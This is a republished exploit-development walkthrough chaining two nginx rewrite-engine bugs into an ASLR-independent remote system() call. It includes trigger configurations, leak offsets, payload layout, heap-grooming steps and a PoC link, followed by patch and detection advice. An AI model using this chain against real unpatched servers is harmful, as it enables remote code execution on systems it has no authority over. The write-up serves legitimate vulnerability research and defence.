core-jmp core-jmpdeath of core jump

Two Bytes to RCE: Chaining nginx rift and PoolSlip into an ASLR-Independent Exploit

Two nginx rewrite-engine bugs share one root cause: an is_args flag computed in one pass and consumed in another. Pointed at r->args it is PoolSlip (CVE-2026-9256), a heap over-read; pointed at a set variable it is rift (CVE-2026-42945), a heap overflow that can only write URL-safe bytes. This walkthrough chains them into a full remote system() on the stock nginx:1.30.0 Docker image — using a two-byte partial overwrite of a limit_conn cleanup pointer to sidestep ASLR entirely, with nothing hardcoded and ~90% reliability per fresh worker.

oxfemale August 27, 2026 27 min read 97 reads
Export PDF
Two Bytes to RCE: Chaining nginx rift and PoolSlip into an ASLR-Independent Exploit
Original text: “Two bytes to RCE: chaining rift + PoolSlip into an ASLR-independent nginx 1.30.0 exploit”y198, Verichains Blog (June 6, 2026). Code, configuration listings and figures below are reproduced verbatim with attribution captions.

Executive Summary

Two separately-disclosed nginx vulnerabilities turn out to be the same bug wearing different clothes. The rewrite module’s script engine computes an is_args flag during a length pass and consumes it during a copy pass, and the two passes can disagree. Aim that mismatch at a set variable and you get rift (CVE-2026-42945), a forward heap overflow. Aim it at r->args and you get PoolSlip (CVE-2026-9256), a heap over-read. Each is interesting alone; neither is sufficient alone. rift can write, but only URL-safe bytes and with no idea where anything lives. PoolSlip can read, but cannot corrupt anything.

The write-up chains them into a full remote system() on the stock official nginx:1.30.0 Docker image — Debian 13, glibc 2.41, a stripped release binary, no allocator tuning — behind a plausible API-gateway configuration. The pivotal insight is a refusal to write a full pointer. Because rift emits only URL-safe bytes, a complete 48-bit heap address is writable roughly 0.9% of the time under real ASLR, a figure the author measured across twenty live worker restarts and confirmed by Monte Carlo. Instead of fighting that, the exploit overwrites only the low two bytes of a pointer that is already valid: the cleanup field that limit_conn installs on every request pool. The ASLR-random high bytes ride along untouched, the pointer stays inside its own 64 KB block, and the chain becomes ASLR-independent with nothing hardcoded. On connection teardown, ngx_destroy_pool walks the redirected cleanup list straight into system(cmd), landing about 90% of the time per fresh worker.

TL;DR

  • Target: the stock official nginx:1.30.0 Docker image (Debian 13, glibc 2.41, stripped release binary) behind an API-gateway config that contains the trigger (final/nginx.conf); no allocator tuning.
  • One root cause, two bugs: the rewrite engine’s is_args flag is set in one pass and consumed in another. Aimed at a set variable it is rift (CVE-2026-42945) — a forward heap overflow that can only write URL-safe bytes; aimed at r->args it is PoolSlip (CVE-2026-9256), an $args heap over-read.
  • The chain: PoolSlip leaks live libc and heap addresses (nothing hardcoded); rift does a 2-byte partial overwrite of a limit_conn cleanup pointer, redirecting it into a sprayed ngx_pool_cleanup_t{handler=&system, data=cmd}; on connection teardown ngx_destroy_pool walks the cleanup list to system(cmd).
  • Why only 2 bytes: a full 48-bit address is URL-safe about 0.9% of the time under ASLR. Overwriting just the low 2 bytes of an already-valid heap pointer leaves the random high bytes untouched, so the chain is ASLR-independent with nothing hardcoded.
  • Debian-specific work: the Ubuntu “mmap-below-libc” leak fails (Debian mmaps to the brk cluster), so libc is leaked from a libpcre pointer at $args[1729] instead; the release binary is stripped so gdb reads structs by raw offset; the write target is a fixpoint (N=9, K=1005) because the rift buffer moves with URI length.
  • Result: remote system() as uid=101(nginx), roughly 90% per fresh worker, with no nginx restart required.
Overview of the nginx 1.30.0 exploit chaining the rift heap overflow with the PoolSlip over-read
Overview of the full chain. Source: original article.

Summary

By the author’s account this is the first public chain of these two recently-disclosed nginx rewrite-engine bugs into a single ASLR-independent remote system() on the stock official nginx:1.30.0 Docker image running a realistic API-gateway configuration that contains the rewrite-engine trigger. Both bugs are the same is_args two-pass mismatch pointed at two different sinks: PoolSlip leaks live libc and heap addresses, and rift then performs the 2-byte partial overwrite of a limit_conn cleanup pointer so that the cleanup walk in ngx_destroy_pool calls system(cmd). Nothing is hardcoded, the worker is never restarted, and it lands roughly 90% of the time per fresh worker.

Both CVEs are already patched. The write-up is presented as a technique demonstration — evidence that a full, ASLR-independent system() is achievable — and the chain requires a configuration that specifically triggers the is_args bug. The advice is to patch regardless of whether your configuration looks like the trigger.

Upgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline); note 1.30.1 fixes rift but is still vulnerable to PoolSlip, so only 1.30.2 closes both. NGINX Plus: R36 P5 / R32 P7 / R37.0.1.1.

y198, Verichains Blog

The two primitives being chained are:

  • CVE-2026-42945 “rift”: an is_args length/value heap overflow. This is the write primitive.
  • CVE-2026-9256 “PoolSlip”: an args-inflation heap over-read. This is the info-leak primitive.

Everything in the original is reproduced live under gdb against the stock release binary, with offsets and addresses taken from real runs. Because the release image is stripped, the gdb probes read struct fields by raw byte offset — the layout is identical to a source build, only the symbols are gone.

PoC + config: Nginx-chain-Rift-Poolslip

The complete proof of concept and the triggering configuration are published at y198nt/Nginx-chain-Rift-Poolslip.

1. The Two Bugs (Root Cause)

Both bugs stem from the same nginx quirk: the rewrite module’s script engine carries an is_args flag, and that flag is computed in one pass but consumed in another.

When nginx compiles rewrite and set value scripts, it runs them twice:

  • a length pass on a fresh, local engine, to size the destination buffer; and
  • a copy pass on the shared request engine, to actually write the bytes.

ngx_escape_uri() is invoked only when e->is_args == 1. If the two passes disagree on is_args, the length pass under-counts (no escaping) while the copy pass over-writes (escaping, turning + into %2B and so on). That mismatch is the root of both bugs.

1.1 rift: is_args heap overflow (the write primitive)

The trigger is a location block whose rewrite replacement contains a question mark, followed by a set that copies a capture:

location ~ ^/api/v1/(.*)$ {
    rewrite ^/api/v1/(.*)$ /internal/$1?api_version=2;   # replacement has '?'
    set $resource $1;                                    # copies the capture
}

The ? in the rewrite replacement makes the engine run ngx_http_script_start_args_code, which sets e->is_args = 1 on the shared engine — and it is never cleared. The following set $resource $1 then executes with a split personality:

  • length pass (fresh engine, is_args = 0): counts $1 with no escape budget;
  • copy pass (shared engine, is_args = 1): re-escapes $1 with ngx_escape_uri.

So if $1 contains N bytes that need escaping, the copy writes 2·N more bytes than were allocated — a forward heap overflow out of the script buffer.

Two properties of this write primitive shape everything that follows:

  • It writes only URL-safe bytes verbatim. Any byte that needs escaping becomes %XX (three bytes), which shifts everything after it. To land a precise value at a precise offset, every byte must be URL-safe — roughly 79 of 256 possible byte values.
  • The overflow length is 2 × (number of escape-needing input bytes). Padding A bytes do not inflate, so N As followed by K +s writes N + 3K bytes and overflows by 2K. That gives precise, arithmetic control over how far past the buffer the write reaches.

1.2 PoolSlip: args-inflation over-read (the leak primitive)

location ~ ^/search/(.*)$ { rewrite ^/search/((.*))$ /lookup?$1$2 last; }

Same is_args mismatch, but applied to r->args instead of a set variable. The copy pass overflows the args buffer, and r->args.len is then set from the post-overflow engine position — that is, past the allocation. Anything that later reflects $args therefore reads adjacent heap memory. In this configuration the reflection is a degraded search page:

location /lookup { proxy_pass http://search_index; proxy_intercept_errors on; error_page 502 504 = @search_unavailable; }
location @search_unavailable { return 503 "Search temporarily unavailable. Query: $args\n"; }

search_index is an offline Elasticsearch sidecar, so every /search hit degrades to that page — which is exactly where the over-read surfaces. The reflection has to be nginx-level and binary-safe: heap pointers contain NUL and control bytes, so proxying $args to a real backend simply produces a 502 on the upstream request, which the author verified.

2. Why Chain Them (and Not Just Use rift)

rift on its own is a clean write primitive, but it carries no info-leak, and the public PoC (DepthFirstDisclosures/Nginx-Rift) simply hardcodes the bases:

HEAP_BASE  = 0x555555659000
LIBC_BASE  = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

That only works with ASLR disabled, or against a precisely known image. The author explicitly did not want a “works on my machine” exploit, so PoolSlip was bolted on as the leak primitive: it discloses live libc and heap pointers, the bases are derived from them, and the rift write targets are then computed at runtime. The result is ASLR-independent with nothing hardcoded.

The two bugs compose cleanly precisely because they are the same engine quirk pointed at two different sinks — a set variable versus r->args — so one realistic configuration naturally exposes both.

3. The Exploitation Idea

3.1 The problem: a full heap write is almost never URL-safe

The obvious rift exploit is the one the public PoC uses: spray a fake ngx_pool_cleanup_t{handler=system, data=cmd} onto the heap and overwrite a pool’s cleanup pointer with the spray address, so that ngx_destroy_pool performs its cleanup walk and ultimately calls system(cmd).

But the cleanup pointer is a full 48-bit heap address, and rift can only write URL-safe bytes. Under ASLR the high bytes of a heap address are random, so a full address is almost never composed entirely of writable bytes.

The author proves this rather than asserting it. The set of byte values rift can place at a target is exactly nginx’s URI-escape bitmap — the bytes that are not percent-encoded. Reproducing it from the source bitmap gives 79 of 256 values, a per-byte probability of about 0.31:

|SAFE| = 79 / 256   P(one random byte URL-safe) = 0.3086
safe bytes: 21 24 27 28 29 2a 2c 2d 2e 2f 30..3a 3d 40..5b 5d 5f 61..7a 7e   (i.e. mostly
            alnum + a few punctuation; NOT 0x00, 0x5c '\', 0x5e '^', 0x60 '`', high bytes, …)

A full-address overwrite requires all six low bytes of the target address to fall in that set. Twenty real ASLR heap bases were sampled by restarting the worker, the actual entropy was measured, and the full-address target was Monte-Carlo’d over it using that SAFE set and thirty candidate spray landings:


real bases sampled: 20   entropy mask = 0x3ffffffff000   (34 varying bits)
high byte5 observed: 0x58..0x65

REAL bases: mean URL-safe candidates / base = 0.000 ; bases with >=1 = 0/20   not one worked

MONTE-CARLO over measured ASLR entropy (2,000,000 samples):
  single fixed target writable            ≈ 0.91 %
  P(>=1 writable of all 30 spray landings) ≈ 3.13 %   absolute per-run ceiling

So a single chosen cleanup target is writable only about 0.9% of the time, and even trying every spray landing the per-run ceiling is roughly 3% — while in twenty real restarts, exactly zero had a usable landing. End-to-end, a full-address overwrite fires reliably with ASLR off but only around 1% under real ASLR, matching the single-target bound and further eroded by spray-landing precision. The high bytes simply cannot be controlled, so the approach is a dead end under ASLR.

3.2 The fix: a 2-byte partial overwrite of an existing heap pointer

limit_conn (as in limit_conn perip 100;) registers an ngx_http_limit_conn_cleanup on every request’s r->pool. That means r->pool->cleanup is already a valid heap pointer, pointing into the pool’s own memory:

Diagram of the two-byte partial overwrite of an existing heap pointer used to bypass URL-safe byte constraints
The already-valid limit_conn cleanup pointer that the partial overwrite retargets. Source: original article.

So instead of writing a full address, the exploit overwrites only the low two bytes of that pointer with a URL-safe value, YYYY. The ASLR-random high bytes ride along untouched, so the redirected pointer stays inside the same 64 KB block and no random byte is ever written — which is what makes the technique ASLR-independent.

The redirected pointer is aimed at a sprayed fake ngx_pool_cleanup_t{handler=system, data=cmd_ptr, next=0}.

3.3 Putting the records where the pointer can reach them

The redirect can only move cleanup within its own 64 KB block, since only the low 16 bits are controlled. So that block must be full of fake-struct records at URL-safe offsets.

The trick is to make the victim itself a held POST /api/upload carrying a tiled body of {system, cmd_ptr, 0} records at a 24-byte stride. Its body lives in its own request pool, so the cleanup pointer’s block is densely packed with records. A handful of early sprays and post-victim sprays tile the neighbouring blocks as well, so that for any ASLR base several record runs straddle the pointer’s block. pick_yyyy() then scans the measured runs and selects an in-block, URL-safe record.

cmd_ptr points at a “command holder” spray — an ordinary POST /api/upload whose body is the shell command — at a leak-derived address.

3.4 The full flow (attempt() in exp_official.py)

0. warm-up: ~40 × GET /search/+×300   (churn the heap so the off-1729 libc-cluster ptr settles)
1. leak:    GET /search/<+ ×350>      → derive libc_base, heap_base, &system
2. sprays:  8 × held POST /api/upload  (#0 = command holder, rest = tiled records)
3. groom:   open 16 bare TCP conns, then close them just before the victim connects
            (frees small conn-pool holes so the victim's conn pool is reused there, and the
             victim's *request* pool lands right after the rift request's block)
4. rift a:  GET /api/v1/<A×9 + (+)×1005 + YYYY>   (held by the /internal proxy → backend latency)
5. victim v: held POST /api/upload with the tiled body  (gets the limit_conn cleanup)
6. + 24 post-victim held sprays (more record runs above the cleanup pointer)
7. fire:    finish a's request → the `set` overflows → writes YYYY at v->pool->cleanup[+0x40..+0x41]
8. close v → ngx_http_free_request → ngx_destroy_pool(v->pool) → cleanup walk → system(cmd)

Request a stays alive, parked on the upstream, so that its own pool is not freed before v fires. The destroy order matters — see section 5.5.

4. The Info Leak

The release binary is stripped, so the script engine is read by raw offset: e is $rdi at function entry, e->is_args is bit 3 of the dword at +0x40, and e->buf.data (referred to as $buf) sits at +0x20. The PoolSlip request runs the copy pass with is_args already set, so it over-writes past the args buffer and r->args.len is taken from the post-overflow engine position. The degraded /search page then reflects $args past the buffer into adjacent heap; for a roughly 700-byte query the 503 body comes back as about 2100 bytes of raw heap.

After a short warm-up of about forty /search hits to churn the heap, two pointers settle at stable offsets in that over-read. A heap pointer sits at $args[1489] (x/gx $buf+0x5d8 in gdb), giving the heap base once cross-checked against vmmap:

PoolSlip args-inflation over-read leaking heap memory from nginx
The heap pointer recovered from the PoolSlip over-read at $args[1489]. Source: original article.

For libc, the Ubuntu trick — a large POST body that glibc mmaps just below libc — fails on Debian, because large allocations land in the low brk/PIE cluster rather than below libc. Instead, a pointer into the libpcre/regex region, which the loader maps at a fixed 0xb0ad08 below libc, settles at $args[1729] (x/gx $buf+0x6c8), again confirmed against vmmap:

Leaked heap memory used to recover the nginx heap base address
The libpcre pointer at $args[1729], from which libc is derived. Source: original article.

So libc_base = $args[1729] + 0xb0ad08 and heap_base = $args[1489] − 0x28610, both confirmed against the live mappings. Nothing is hardcoded, and request_pool_size is the nginx default — there is no allocator tuning in the configuration.

The derivation as implemented in exp_official.py:

WARMUP = 40   # ~40x GET /search/+×300 first, so the off-1729 libc-cluster pointer settles
def derive(args):
    libc = (int.from_bytes(args[1729:1737], "little") + 0xb0ad08) & ~0xfff   # & ~0xfff: page-align
    heap =  int.from_bytes(args[1489:1497], "little") - 0x28610
    return libc, heap
# system = libc + 0x53110

A live run — the addresses differ on every run, since they are all derived from the leak with nothing hardcoded:

[*] heap_base=0x5a043fe2f000
[*] libc=0x7d6b8228d000 
[*] system=0x7d6b822e0110 (system = libc + 0x53110)

5. The Write Primitive

5.1 The victim’s cleanup pointer (what we corrupt)

The victim is a held POST /api/upload. limit_conn has placed a cleanup on its r->pool, so pool->cleanup (at pool+0x40) is already a live heap pointer into the pool’s own block.

The two structures involved, from src/core/ngx_palloc.h, annotated with byte offsets so the raw dump lines up:

typedef struct {                          //                           offset in ngx_pool_t
    u_char               *last;           //   d.last                   +0x00
    u_char               *end;            //   d.end                    +0x08
    ngx_pool_t           *next;           //   d.next                   +0x10
    ngx_uint_t            failed;         //   d.failed                 +0x18
} ngx_pool_data_t;

struct ngx_pool_s {                       // == ngx_pool_t
    ngx_pool_data_t       d;              //                            +0x00
    size_t                max;            //                            +0x20
    ngx_pool_t           *current;        //                            +0x28
    ngx_chain_t          *chain;          //                            +0x30
    ngx_pool_large_t     *large;          //                            +0x38
    ngx_pool_cleanup_t   *cleanup;        //   <-- what we corrupt      +0x40
    ngx_log_t            *log;            //                            +0x48
};

struct ngx_pool_cleanup_s {               // == ngx_pool_cleanup_t  (24 bytes)
    ngx_pool_cleanup_pt   handler;        //   called as handler(data)  +0x00
    void                 *data;           //                            +0x08
    ngx_pool_cleanup_t   *next;           //                            +0x10
};
Layout of the nginx pool structure showing the cleanup pointer targeted by the write primitive
The live pool->cleanup pointer in memory. Source: original article.

So pool->cleanup is a heap address whose high bytes are ASLR-random but whose enclosing 64 KB block is known from the leak. Only the low two bytes of the pointer at pool+0x40 are overwritten, so that it lands on one of the sprayed records in that same block. The legitimate cleanup record’s handler is an nginx .text address (the stripped ngx_http_limit_conn_cleanup) with its data at cleanup+0x18. The chain has a single entry, next = NULL; which handler it legitimately holds is irrelevant, because the partial overwrite replaces the head pointer with the address of the fake record.

5.2 Landing the write on pool->cleanup

The geometry is gdb-measured and deterministic on the Debian heap, with offsets taken from the leaked bases and kept stable by the groom. There is a subtlety: S, the rift’s set buffer, rises as the rift URI grows, so the target offset is a fixpointN + 3K must equal the very gap it produces:

victim cleanup field   = S + 0xbd0           → N + 3K = 0xbd0  →  N=9, K=1005  (fixpoint; URI stays <2k)
cleanup pointer value  = heap_base + 0x1001f8 → block = (heap_base+0x1001f8) & ~0xffff
command holder spray   = heap_base + 0x28680  → cmd_ptr
record runs (167 recs, 24-byte stride) straddle the cleanup ptr: heap_base + {0xe4ef0 … 0x157470}
groom: 16 empty connections (vs 4 on Ubuntu) evict a wedged conn pool so v lands close to S

S is e->buf.data of the rift request, captured the same way as in section 4 but driven by /api/v1/…. The payload A×9 + (+)×1005 + YYYY lands the final two bytes exactly on pool->cleanup[+0x40..+0x41]. pick_yyyy(heap_base) chooses a YYYY whose absolute address block|YYYY is an actual record and is URL-safe.

5.3 The corrupted cleanup

When the rift fires, the last two bytes of the victim’s pool->cleanup are overwritten with the URL-safe YYYY while the ASLR-random high bytes ride along untouched. pool->cleanup now points at one of the sprayed {handler=&system, data=cmd_ptr, next=0} records inside the same 64 KB block, where &system is the leaked libc_base + 0x53110 and data is the command-holder spray. Only the low two bytes were ever written by the attacker; the rest is the victim’s own heap base.

The screenshot in section 5.4 captures this live, thanks to a convenient register situation: at the system breakpoint, ngx_destroy_pool has left pool in $rbp and the cleanup record c in $rbx. Both are callee-saved, so they survive into system. In that single stop:

  • x/3gx $rbx shows the redirected record — { &system, cmd_ptr, 0 };
  • x/gx $rbp+0x40 shows the victim’s pool->cleanup pointing right at it;
  • $rbp itself shows the pool header smashed with the escaped %2B overflow — the bytes just before the cleanup field;
  • x/s $rdi is the command, which is c->data.

5.4 The cleanup walk calls system

Set break *system, then fire the chain. The stock release binary is stripped, so there are no line numbers and a couple of static frames show as ??, but the call chain is unmistakable: system is reached straight from the cleanup walk in ngx_destroy_pool. The same stop also displays the corrupted cleanup from section 5.3 — $rbx holding the {&system, cmd, 0} record and $rbp+0x40 holding pool->cleanup:

Debugger view of the corrupted nginx pool cleanup walk calling system for remote code execution
The cleanup walk reaching system(), with the corrupted record visible in $rbx. Source: original article.

The result: the worker executed the supplied command as its own user.

$ docker exec nginx-rift-official cat /tmp/rce_proof
uid=101(nginx) gid=101(nginx) groups=101(nginx)

5.5 The obstacle cascade (what gdb taught me, and the fixes)

Getting from “the pointer is corrupted” to “system fires cleanly” meant fighting through five distinct crashes. Each is worth recording, because the fix for each is baked into the exploit or the configuration:

  • SIGSEGV in ngx_http_request_handler: the overflow smashed the victim’s connection pool, which sat between the rift block and the victim’s request pool, breaking the event struct on the close event. Fix: the empty-connection groom evicts that conn pool so the request pool lands right after the rift block, with nothing in between.
  • SIGSEGV in ngx_palloc_small (from ngx_http_log_request into ngx_pnalloc): finalizing the victim logs the request, allocating from its smashed r->pool header before the cleanup walk runs. Fix: access_log off; on /api/upload.
  • SIGABRT in free() during ngx_destroy_pool of the rift request’s pool: reaching a distant victim forced a second pool block and smashed a chunk header. Fix: keep request a parked on the upstream so its pool frees after the victim fires, combined with a minimal overflow.
  • pick_yyyy finds nothing: on some bases no record run lands inside the cleanup block. Fix: a tiled victim body plus early and post-victim sprays, so record runs straddle the block for any base.
  • SIGSEGV in free() during ngx_destroy_pool (Debian-specific): if the rift URI reaches 2 KB or more it spills into a large header buffer, which moves S, so the target overshoots the victim’s cleanup field and the smashed pool crashes in free() instead of firing. Fix: the fixpoint N=9, K=1005 keeps the URI under 2 KB; since S itself rises with URI length, N+3K must equal the gap it produces, solved by iterating.

The access_log off, the parked-upstream ordering, and the URI-length fixpoint are the non-obvious ones. Each surfaced only because the crash backtrace pointed straight at the offending frame.

5.6 Dead-ends and pivots (ideas that didn’t survive contact)

The crashes above are the runtime fights. These are the larger design dead-ends — approaches that seemed right and had to be abandoned. The author considers them the most useful part of the write-up, because each pivot is what actually made the chain work on a stock Debian release build:

  • Write the full cleanup pointer (the public-PoC approach): rift emits only URL-safe bytes, so a full 48-bit heap address is writable only about 0.9% of the time under ASLR, as measured in section 3.1. → The 2-byte partial overwrite of an existing limit_conn cleanup pointer (section 3.2).
  • Use rift alone: it has no info-leak, and the public PoC simply hardcodes LIBC_BASE/HEAP_BASE, which only works with ASLR off. → Chain PoolSlip as the leak primitive (section 2).
  • Leak libc via the “big POST body mmaps just below libc” sled (which worked on Ubuntu): on Debian with glibc 2.41, large allocations land in the low brk/PIE cluster rather than below libc, so no libc-cluster pointer ever appears that way. → The libpcre/regex pointer that the loader maps at a fixed 0xb0ad08 below libc, reflected at $args[1729].
  • Leak libc via a freed unsorted-bin chunk’s main_arena fd/bk: the over-read window held no main_arena pointer; freed pool blocks were reused, and freeing large chunks raised glibc’s dynamic mmap threshold, pushing bodies to brk. → The same libpcre pointer, which is deterministic and needs no grooming.
  • Leak straight off /search with no warm-up: the pointer at offset 1729 is not present on a cold heap. → Roughly forty /search warm-up hits churn the heap so it settles there, verified 5/5 across bases.
  • Over-read further (k≈500) to reach a libc pointer: r->args.len then runs past the mapped pool, producing an empty reflection or a worker SIGSEGV. → Keep k=350 (about 2100 bytes, which stays mapped); the offset-1729 pointer is already in range.
  • Read engine and request structs by name in gdb (p e->is_args, r->uri): the release image is stripped, so field-by-name access throws and the probes silently captured nothing. → Raw byte offsets plus $rdi at function entry; identify the victim by read_body call order, never by r->uri, a late field whose offset differs from the source build.
  • Calibrate TARGET_OFF with a short rift URI: the set-buffer S rises with URI length, so the short-URI gap (0x18f9/0x10e9) was wrong for the real long URI and the write overshot the cleanup field. → Solve the fixpoint N+3K == gap(S(K)) giving N=9, K=1005, with the URI staying under 2 KB.
  • A 4-empty groom (the Ubuntu value): on Debian it still left a conn pool wedged between a and v when TARGET_OFF=0x18f9, forcing the URI to 2 KB or more — a regime flip with no fixpoint. → 16 empties, matching Debian conn-pool sizing, evict it so v lands close to S, giving TARGET_OFF=0xbd0.
  • An auto-retry loop plus phone-home callback to force “100%”: every fire eventually crashes the worker after system(), so phantom limit_conn counts cap same-IP retries, and it also diverged from the simple one-shot PoC flow. → One-shot like the lab PoC: leak once, fire once, check the box; about 90% per fire, re-run on a miss, with fresh source IPs making retries independent.
  • Tight groom sleeps: the connection-ordering race was not settled, giving about 60%. → Letting each phase settle with longer inter-step sleeps raised it to about 90%; going beyond that does not help.

6. Reliability & Notes

  • About 90% per fresh worker (11/12 single-shot) on the stock release image. The residual ~10% is groom-timing variance — the heap race occasionally places the victim a slot off, so the 2-byte write misses pool->cleanup and the process SIGSEGVs. The jump from an initial ~60% came simply from letting each groom phase settle with longer inter-step sleeps; more sleep beyond that does not help.
  • Per-IP ceiling, not per-shot. Every attempt eventually crashes the worker: system() fires first during the cleanup walk, then the smashed pool’s free() SIGSEGVs. The crash leaves phantom limit_conn (perip) counts, because the dead connections’ cleanups never run, so after roughly two attempts the source IP hits the perip-100 cap and further connections are refused. Same-IP retries therefore do not compound — but a networked attacker retrying from fresh source IPs gets independent ~90% shots, converging on effectively 100%.
  • Nothing hardcoded: libc, heap and every write target come from the live PoolSlip leak. The release build is stripped, so the only build-specific knowledge used is struct offsets, identical to the source build, plus the glibc-2.41 system offset.
  • No nginx restart: the master respawns the crashed worker, so the chain can run again immediately.
  • Config credibility: no allocator tuning, and a plausible API-gateway shape — limit_conn, a v1→v2 migration rewrite, an upload proxy, a degraded search page — rather than a contrived lab config. The caveat the author raises directly: the triggering rewrite+set shape looks innocuous but is a specific pattern that is uncommon in real configurations. The point is the technique, not that this shape is widespread.

7. Credits & References

Original reports:

Original component PoC: DepthFirstDisclosures/Nginx-Rift (rift). The chained PoC is at y198nt/Nginx-chain-Rift-Poolslip.

Key Takeaways

  • One root cause can produce two CVE classes. The is_args flag being computed in the length pass and consumed in the copy pass yields a heap overflow when aimed at a set variable and a heap over-read when aimed at r->args. Triaging the two bugs independently misses that a single configuration naturally exposes both.
  • Constrained-charset write primitives are not weak primitives. rift can only emit ~79 of 256 byte values, which kills a full-pointer overwrite under ASLR at about 0.9% success — but the constraint disappears entirely once you stop writing whole pointers.
  • Partial overwrites neutralize ASLR without leaking the base for the write. Overwriting only the low two bytes of an already-valid pointer keeps the random high bytes intact, confining the redirect to a known 64 KB block. The leak is still needed to choose the target, but no random byte is ever written.
  • limit_conn supplied the pointer. A rate-limiting directive registers a cleanup on every request pool, which is exactly the already-valid heap pointer the technique needs. A defensive feature became the exploitation foothold.
  • Spray geometry does the rest. Because the redirect is confined to one 64 KB block, the victim’s own request body is tiled with 24-byte {system, cmd_ptr, 0} records so that block is dense with valid landing sites regardless of ASLR base.
  • Distribution details matter more than the bug. The Ubuntu mmap-below-libc leak fails on Debian 13 / glibc 2.41; libc had to come from a libpcre pointer at a fixed 0xb0ad08 offset instead. Stripped release binaries also forced raw-offset struct reads throughout.
  • The write target is a fixpoint, not a constant. Because the set buffer moves with URI length, N + 3K must equal the gap it itself produces — solved by iteration to N=9, K=1005, which also keeps the URI under the 2 KB large-header-buffer threshold.

Defensive Recommendations

  • Upgrade to nginx 1.30.2 (stable) or 1.31.1 (mainline). Do not stop at 1.30.1 — it fixes rift but remains vulnerable to PoolSlip, so only 1.30.2 closes both. For NGINX Plus, the fixed builds are R36 P5, R32 P7 and R37.0.1.1.
  • Patch even if your configuration does not look like the trigger. The triggering rewrite+set shape is uncommon, but “uncommon” is not “absent”, and configurations get edited by people who do not know about this interaction.
  • Audit configurations for the specific pattern: a rewrite whose replacement contains ? followed by a set that copies a regex capture in the same location block, and any rewrite that inflates r->args. Grep your config tree for both shapes.
  • Never reflect $args in an nginx-generated response body. The degraded-search page returning Query: $args is what converted an internal over-read into a remote memory disclosure. Reflect nothing from the request into a return directive.
  • Treat degraded-backend error pages as an attack surface. The leak surfaced precisely because an offline upstream fell through to a static nginx-level page. Review every error_page and named-location fallback for what request data it echoes.
  • Do not treat ASLR as the control that stops heap corruption. A partial overwrite of an existing pointer bypasses it entirely. ASLR raises the cost of the naive approach and nothing more.
  • Monitor for the crash signature. Every attempt crashes the worker after system() fires, so repeated worker respawns — especially paired with limit_conn connection counts that never decay — are a strong post-exploitation indicator worth alerting on.
  • Watch for the traffic pattern: bursts of /search requests with long runs of + characters, held POST bodies that never complete, and long URIs padded with repeated characters just under 2 KB. Rate-limiting alone will not stop it, since fresh source IPs make retries independent.

Conclusion

The most instructive part of this chain is not that two nginx bugs compose — it is the decision to stop trying to write a pointer. Faced with a write primitive restricted to 79 of 256 byte values, the obvious path is a full-address overwrite, and the author measured that path honestly enough to prove it dead: zero usable landings across twenty live ASLR bases, with a Monte Carlo ceiling of about 3%. The pivot to overwriting two bytes of a pointer that limit_conn had already placed turns a probabilistic mess into a deterministic one, because the bytes that cannot be controlled are simply never touched. Combined with a leak primitive that shares the same root cause, and a spray that makes every landing site in the reachable block a valid target, the result is remote system() on a stock image with nothing hardcoded. Both CVEs are patched; the technique — partial overwrites against constrained-charset write primitives — is not going anywhere.

Original text: “Two bytes to RCE: chaining rift + PoolSlip into an ASLR-independent nginx 1.30.0 exploit” by y198 at Verichains Blog.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion